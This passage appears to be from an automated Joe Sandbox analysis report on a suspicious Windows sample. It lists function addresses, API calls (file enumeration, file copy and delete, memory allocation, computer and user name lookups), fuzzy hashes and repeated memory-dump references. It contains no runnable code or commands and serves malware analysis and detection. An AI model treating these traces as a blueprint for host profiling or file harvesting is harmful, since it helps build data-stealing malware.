Part of subcall function 00584910: lstrcat.KERNEL32(?,00590FF8), ref: 00584A5C
Part of subcall function 00584910: lstrcat.KERNEL32(?,?), ref: 00584A70
Part of subcall function 00584910: lstrcat.KERNEL32(?,00590FFC), ref: 00584A82
Part of subcall function 00584910: lstrcat.KERNEL32(?,?), ref: 00584A96
Part of subcall function 00584910: CopyFileA.KERNEL32(?,?,00000001), ref: 00584AAC
Part of subcall function 00584910: DeleteFileA.KERNEL32(?), ref: 00584B31

Part of subcall function 00584910: wsprintfA.USER32 ref: 00584A07

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: c30d250556bd0c731813d698ea445383c8b66367cfae10eae565c677bac20262
Instruction ID: c19db56739343fb3809081eb135a72d1866cc2385b9423bdc5b48f6971b79d4f
Opcode Fuzzy Hash: c30d250556bd0c731813d698ea445383c8b66367cfae10eae565c677bac20262
Instruction Fuzzy Hash: 6941A4B65002047BCB54F7A4EC4AEEE377DB7C8700F40C648B94A57186EE795B888F96

Function 00576660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00576706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00576753

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1df8d8b103850e9fa2473d4dc000b5515687bc25f67897a68d5d3a5247d50fcc
Instruction ID: 729dfd2c024f2dbbc0b4a914dd2857e41b87aadfc650835d2fdbeca5469465c3
Opcode Fuzzy Hash: 1df8d8b103850e9fa2473d4dc000b5515687bc25f67897a68d5d3a5247d50fcc
Instruction Fuzzy Hash: 3041B474A00209EFCB44CF98D494BADBBB1FB48354F24C6A9E9599B345C731EA81DF84

Function 00585050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 0058508A
lstrcat.KERNEL32(?,0130E538), ref: 005850A8

Part of subcall function 00584910: wsprintfA.USER32 ref: 0058492C
Part of subcall function 00584910: FindFirstFileA.KERNEL32(?,?), ref: 00584943

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ab5560160c80ad0bfa144d1496ec3f24832a44fd69ee211c8ba1da502808ef8d
Instruction ID: a3d79bb59330fa0284dad335d3c98fba0520e15cd7964ceac90c4c1cc8d5ed5c
Opcode Fuzzy Hash: ab5560160c80ad0bfa144d1496ec3f24832a44fd69ee211c8ba1da502808ef8d
Instruction Fuzzy Hash: 0701DB7690020877C754FB70DC4AEEE373CBB94300F008684BA4962081EE749AC88FE2

Function 005710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005710F7

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0c033dd2fab339589abc5d1293175a672fdf59a031827e87bc0314b5d514b4b0
Instruction ID: 744ac97236044505c420072c62570fecc9b36dc214ad02e9fd09cf1b88c2329c
Opcode Fuzzy Hash: 0c033dd2fab339589abc5d1293175a672fdf59a031827e87bc0314b5d514b4b0
Instruction Fuzzy Hash: CBF0E2B1641308BBE714AAA8AC4DFBABBECE705B15F304548F904E3280D5719F00DAA8

Function 00588D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00571B54,?,?,0059564C,?,?,00590E1F), ref: 00588D9F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fbe9aa8d7538ef30a79174b801b795943b03d3becfd7aa52d6de735ca563a939
Instruction ID: b3a864540cf835a9d694d6d2b9fd096f10a4f4e8f36c29e66ed655ec3c6543ae
Opcode Fuzzy Hash: fbe9aa8d7538ef30a79174b801b795943b03d3becfd7aa52d6de735ca563a939
Instruction Fuzzy Hash: EEF09270C05208ABDB04FFA4D5496ACBB74FB10310F50869AEC6667290DB786A55DB81

Function 00588DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 365f087d2309c74bb221f8a5e142b21cbeda4b6e2b74e7feadc1ddca4b49f127
Instruction ID: 1d38b4ce524c328119f51cc8766f93ab98645a438afa408867544d05b3749937
Opcode Fuzzy Hash: 365f087d2309c74bb221f8a5e142b21cbeda4b6e2b74e7feadc1ddca4b49f127
Instruction Fuzzy Hash: 30E0123194034C7BDB51EB50DC96FAD777CEB44B01F004295BA0C5A1C0DE74AB858B91

Function 00571190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587910
Part of subcall function 005878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00587917
Part of subcall function 005878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0058792F

Part of subcall function 00587850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005711B7), ref: 00587880
Part of subcall function 00587850: RtlAllocateHeap.NTDLL(00000000), ref: 00587887
Part of subcall function 00587850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0058789F

ExitProcess.KERNEL32 ref: 005711C6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0ec42f771da3bcb33d65b05995c69dccd1453546df85d4d4e42274798166638e
Instruction ID: e77a970e8bd15ffb001afa1b96f4fbdedc0481d881f6b42931cc2161494c90a8
Opcode Fuzzy Hash: 0ec42f771da3bcb33d65b05995c69dccd1453546df85d4d4e42274798166638e
Instruction Fuzzy Hash: FBE08CA191420662CA0037B4BC0EF2A3B8CBB44349F544524BE08A2142FE29E800CB6E

Non-executed Functions

Function 005838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005838CC
FindFirstFileA.KERNEL32(?,?), ref: 005838E3
lstrcat.KERNEL32(?,?), ref: 00583935
StrCmpCA.SHLWAPI(?,00590F70), ref: 00583947
StrCmpCA.SHLWAPI(?,00590F74), ref: 0058395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00583C67
FindClose.KERNEL32(000000FF), ref: 00583C7C

Strings

%s\*, xrefs: 005838C0
%s\%s, xrefs: 00583A6F
%s\%s\%s, xrefs: 00583A4A
%s%s, xrefs: 00583AAD
%s\%s, xrefs: 0058397A

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: a4adca4e5ce314e1d6b1be6facff951ce545c11313f5f1dd911c072e6ba293fd
Instruction ID: 187dcabc00529b988f04087490ca2679a9b7d851dac1247fbc0f53cf2221339f
Opcode Fuzzy Hash: a4adca4e5ce314e1d6b1be6facff951ce545c11313f5f1dd911c072e6ba293fd
Instruction Fuzzy Hash: FBA122B1900219ABDB24EF64DC89FFE7778BF84700F448598E90DA6141EB759B84CF62

